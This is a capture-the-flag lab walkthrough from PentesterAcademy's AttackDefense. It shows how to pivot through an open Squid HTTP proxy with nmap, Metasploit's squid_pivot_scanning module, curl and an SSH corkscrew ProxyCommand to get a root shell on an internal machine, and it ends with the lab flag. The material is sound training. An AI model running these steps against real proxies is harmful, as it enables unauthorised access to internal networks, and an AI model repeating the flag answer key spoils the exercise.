
ATTACK
DEFENSE
by PentesterAcademy

Name	Squid: Pivoting using HTTP Proxy
URL	https://www.attackdefense.com/challengedetails?cid=229
Type	Infrastructure Attacks: Squid Proxy

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: You have to SSH into the machine B and retrieve the flag!

Solution:

Step 1: Find ip address of the attacker machine

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6302: eth0@if6303: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.3/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
6306: eth1@if6307: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:a8:20:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.168.32.2/24 brd 192.168.32.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Scanning Machine A

Command: nmap 192.168.32.3

```
root@attackdefense:~# nmap 192.168.32.3
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-09 00:00 UTC
Nmap scan report for mzq6c8r0d2xnwh3q3ag4tvpto.temp-network_a-168-32 (192.168.32.3)
Host is up (0.000013s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
3128/tcp open  squid-http
MAC Address: 02:42:C0:A8:20:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
root@attackdefense:~#
```

Step 3: Find services which are running locally on the proxy server.

Commands:
msfconsole
use auxiliary/scanner/http/squid_pivot_scanning
set RHOSTS 192.168.32.3
set RPORT 3128
set RANGE 127.0.0.1
exploit

```
msf5 > use auxiliary/scanner/http/squid_pivot_scanning
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 192.168.32.3
RHOSTS => 192.168.32.3
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128
RPORT => 3128
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1
RANGE => 127.0.0.1
msf5 auxiliary(scanner/http/squid_pivot_scanning) > exploit

[+] [192.168.32.3] 127.0.0.1 is alive but 21 is CLOSED
[+] [192.168.32.3] 127.0.0.1:80 seems OPEN
[+] [192.168.32.3] 127.0.0.1 is alive but 139 is CLOSED
[+] [192.168.32.3] 127.0.0.1 is alive but 445 is CLOSED
[+] [192.168.32.3] 127.0.0.1 is alive but 1433 is CLOSED
[+] [192.168.32.3] 127.0.0.1 is alive but 1521 is CLOSED
[+] [192.168.32.3] 127.0.0.1 is alive but 1723 is CLOSED
[+] [192.168.32.3] 127.0.0.1 is alive but 3389 is CLOSED
[+] [192.168.32.3] 127.0.0.1 is alive but 8080 is CLOSED
[+] [192.168.32.3] 127.0.0.1 is alive but 9100 is CLOSED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/squid_pivot_scanning) >
```

Step 4: Access the webserver running locally on the proxy server.

Command: curl -x 192.168.32.3:3128 127.0.0.1:80

```
root@attackdefense:~# curl -x 192.168.32.3:3128 127.0.0.1:80
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6308: eth0@if6309: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:a8:20:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.168.32.3/24 brd 192.168.32.255 scope global eth0
       valid_lft forever preferred_lft forever
6310: eth1@if6311: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:c3:73:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.195.115.2/24 brd 192.195.115.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

The ip address of second network is revealed.

Step 5: Scan the second network through the proxy server.

Commands:
msfconsole
use auxiliary/scanner/http/squid_pivot_scanning
set RHOSTS 192.168.32.3
set RPORT 3128
set RANGE 192.195.115.0/24
exploit

```
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 192.168.32.3
RHOSTS => 192.168.32.3
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128
RPORT => 3128
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 192.195.115.0/24
RANGE => 192.195.115.0/24
msf5 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 22
PORTS => 22
msf5 auxiliary(scanner/http/squid_pivot_scanning) > exploit

[+] [192.168.32.3] 192.195.115.1:22 seems OPEN
[+] [192.168.32.3] 192.195.115.2 is alive but 22 is CLOSED
[+] [192.168.32.3] 192.195.115.3:22 seems OPEN
[-] [192.168.32.3] 192.195.115.4 is DEAD
[-] [192.168.32.3] 192.195.115.5 is DEAD
[-] [192.168.32.3] 192.195.115.6 is DEAD
[-] [192.168.32.3] 192.195.115.7 is DEAD
[-] [192.168.32.3] 192.195.115.8 is DEAD
[-] [192.168.32.3] 192.195.115.9 is DEAD
[-] [192.168.32.3] 192.195.115.10 is DEAD
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/squid_pivot_scanning) >
```

Machine B is at IP 192.195.115.3

Step 6: Configure SSH to use corkscrew to establish SSH connection over the HTTP proxy.

Specify the configuration given below in ".ssh/config" file.

ProxyCommand corkscrew 192.168.32.3 3128 %h %p

```
root@attackdefense:~# mkdir .ssh
root@attackdefense:~# vim .ssh/config
root@attackdefense:~# cat .ssh/config
ProxyCommand corkscrew 192.168.32.3 3128 %h %p
root@attackdefense:~#
```

Step 7: SSH into machine B using the provided credentials

Command: ssh root@192.195.115.3

```
root@attackdefense:~# ssh root@192.195.115.3
The authenticity of host '192.195.115.3 (<no hostip for proxy command>)' can't be established.
ECDSA key fingerprint is SHA256:sP6BnGk7G9uWOdlrpwc33hkRFRHNE0Yh0dqbzqZgf9Q.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.195.115.3' (ECDSA) to the list of known hosts.
root@192.195.115.3's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@victim-1:~#
```

Step 8: Retrieve the flag.

Commands:
ls -l
cat FLAG

```
root@victim-1:~# ls -l
total 4
-rw-r--r-- 1 root root 33 Oct 17 20:08 FLAG
root@victim-1:~# cat FLAG
5B171A641670424CDF9A25678FDADF3B
root@victim-1:~#
```

Flag: 5B171A641670424CDF9A25678FDADF3B

References:

1. Squid Proxy (http://www.squid-cache.org/)
2. Corkscrew (https://github.com/bryanpkc/corkscrew)